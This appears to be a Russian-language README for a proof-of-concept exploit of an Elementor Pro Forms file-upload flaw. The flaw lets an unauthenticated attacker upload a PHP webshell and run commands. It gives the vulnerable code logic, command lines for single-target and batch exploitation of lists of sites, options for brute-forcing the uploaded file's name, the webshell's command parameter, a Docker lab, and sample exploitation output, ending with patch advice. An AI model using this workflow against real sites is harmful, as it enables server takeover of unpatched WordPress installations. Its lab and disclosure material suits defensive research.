
Эксплойт proof-of-concept для CVE-2026-32475 — неаутентифицированная произвольная загрузка файлов в Elementor Pro, приводящая к удалённому выполнению кода. Включает автоматическое обнаружение, загрузку и выполнение команд с очисткой.
PoC для CVE-2026-32475 (CVSS 9.0 Critical, CWE-434): неаутентифицированная произвольная загрузка файлов в модуле Forms плагина Elementor Pro, приводящая к удалённому выполнению кода. Исправлено в Elementor Pro 4.2.2 (2026-08-19). Сообщено Tin Pham (TF1T) через программу Bug Bounty от Patchstack.
███████╗ █████╗ ██╗ ██╗ ███╗ ███╗ ███████╗ ███████╗ ██████╗
██╔════╝ ██╔══██╗ ██║ ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗ ██║
╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝ ██║
███████║ ██║ ██║ ██║ ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══════╝ ╚═════╝
Данный proof of concept предоставлен только для авторизованных исследований в области безопасности, обучения и защитного тестирования.
Поле File Upload в формах Elementor Pro обрабатывает загруженные записи в
двух отдельных циклах с разной семантикой (modules/forms/fields/upload.php):
// validation()
foreach ( $files[$id] as $index => $file ) {
if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
return; // <-- прерывает ВЕСЬ метод
}
// is_file_type_valid() ... // никогда не выполняется для записи #2
}
// process_field()
foreach ( $files[$id] as $index => $file ) {
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
continue; // <-- пропускает только ЭТУ запись
}
$filename = uniqid() . '.' . $file_extension; // расширение под контролем атакующего
move_uploaded_file( $file['tmp_name'], $new_file );
}
Отправка двух файловых частей для одного и того же поля загрузки — пустой первой части
(filename="" → UPLOAD_ERR_NO_FILE) с последующей .php нагрузкой — заставляет
validation() вернуться до того, как блок-лист расширений увидит нагрузку,
в то время как process_field() всё равно перемещает её в
wp-content/uploads/elementor/forms/<uniqid()>.php, публичную веб-директорию.
Прямой запрос этого URL = удалённое выполнение кода.
Загрузка обрабатывается через POST /wp-admin/admin-ajax.php
(action=elementor_pro_forms_send_form) без аутентификации и без
nonce. post_id, form_id и имя поля загрузки видны в
HTML публичной страницы, поэтому вся атака неаутентифицирована.
Цель:
Атакующий:
Одиночная цель (автоматическое обнаружение страницы формы через sitemap/главную страницу):
python script.py --url https://target.example --command "id; hostname; uname -a" --cleanup
Явная страница формы:
python script.py --url https://target.example --page-url https://target.example/contact/ --cleanup
Пакетный режим (sites.txt: по одному сайту на строку — base_url или base_url page_url):
python script.py --list sites.txt --command "id" --cleanup --out results.json
Формат JSON-списка:
[{"url": "https://a.example"}, {"url": "https://b.example", "page_url": "https://b.example/jobs/"}]
Выполнение команды на уже загруженной оболочке:
python script.py --url https://target.example --shell-url https://target.example/wp-content/uploads/elementor/forms/<name>.php --command "id"
| Флаг | По умолчанию | Назначение |
|---|---|---|
--url | - | базовый URL одиночной цели |
--list | - | файл списка для пакетного режима |
--page-url | --url | страница, содержащая форму |
--command | id; hostname; uname -a | команда для выполнения через оболочку |
--cleanup | выкл. | самоудаление веб-оболочки после тестирования |
--field k=v | - | переопределить автозаполняемое поле формы (повторяемый) |
--tail | 0.3 | секунд до расчётного времени загрузки для точного сканирования |
--step-fine | 1 | шаг точного сканирования в микросекундах |
--full-second | выкл. | перебор полной секунды uniqid (обходит расхождение часов) |
--attempts | 1 | попытки загрузки+сканирования (новое случайное имя файла каждый раз) |
--max-probes | 600000 | бюджет запросов сканирования на попытку |
--workers | 50 | параллельные потоки сканирования |
--insecure | выкл. | игнорировать ошибки TLS (цели с самоподписанными сертификатами) |
--out file.json | - | записать отчёт в формате JSON |
post_id, form_id, имя поля загрузки и
все остальные поля формы; автоматически заполняет все поля правдоподобными значениями, чтобы
обязательные поля прошли валидацию (переопределите с помощью --field).admin-ajax.php.
Примечание: success:false с пустым объектом errors всё равно считается
загруженным, потому что действие Email по умолчанию вызывает ошибку после перемещения файла,
когда wp_mail() завершается неудачей. Только отклонение самого поля загрузки
(file type is not allowed) считается блокировкой.uniqid() = 8 шестнадцатеричных секунд + 5 шестнадцатеричных микросекунд.
Секунды берутся из заголовка Date ответа; доли секунды
оцениваются как (t1 - date_epoch) % 1 (точно, когда часы атакующего и
сервера близки). Пробер с keep-alive (~в 30 раз быстрее, чем один
запрос на соединение) сканирует окно перемещения с разрешением в микросекунды;
--full-second перебирает всю секунду при расхождении часов.GET <shell>?c=<command> выполняет команду;
--cleanup удаляет оболочку через ?x=1.| Статус | Значение |
|---|---|
vulnerable | оболочка загружена и команда выполнена — немедленно обновитесь |
blocked | поле загрузки отклонено (исправлено в 4.2.2+, обязательное поле, WAF, капча) |
uploaded_no_exec | файл размещён, но имя файла не восстановлено (повторите с --full-second) |
no_form | уязвимая форма на цели не найдена |
error | ошибка соединения/сети |
docker-compose.yml + setup_form_page.php воспроизводят уязвимую цель:
docker compose up -d
docker compose run --rm wpcli wp core install \
--url=http://localhost:8090 --title="Lab" --skip-email \
--admin_user=admin --admin_password=admin123! [email protected]
docker compose run --rm wpcli wp plugin install elementor --activate
# поместите легально полученный elementor-pro.zip (<= 4.2.1) в каталог проекта, затем:
docker compose exec wordpress bash -c "cd wp-content/plugins && unzip -o /var/www/html/elementor-pro.zip"
docker compose run --rm wpcli wp plugin activate elementor-pro
docker cp setup_form_page.php "$(docker compose ps -q wordpress)":/tmp/setup.php
docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'
python script.py --url http://localhost:8090 --command "id; hostname" --cleanup
[+] Shell located (attempt 1, stage=fine tail): http://localhost:8090/wp-content/uploads/elementor/forms/6a90b4fee658e.php
[*] Running command: uname -a
\nPWN\nLinux fcc317d0e442 6.18.33.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
[*] Cleaning up (deleting webshell)...
rm
Обновите Elementor Pro до 4.2.2+. Обновление закрывает дыру, но не
удаляет уже загруженные оболочки — проверьте
wp-content/uploads/elementor/forms/ на наличие посторонних .php файлов.
Только для авторизованных исследований в области безопасности и лабораторного использования.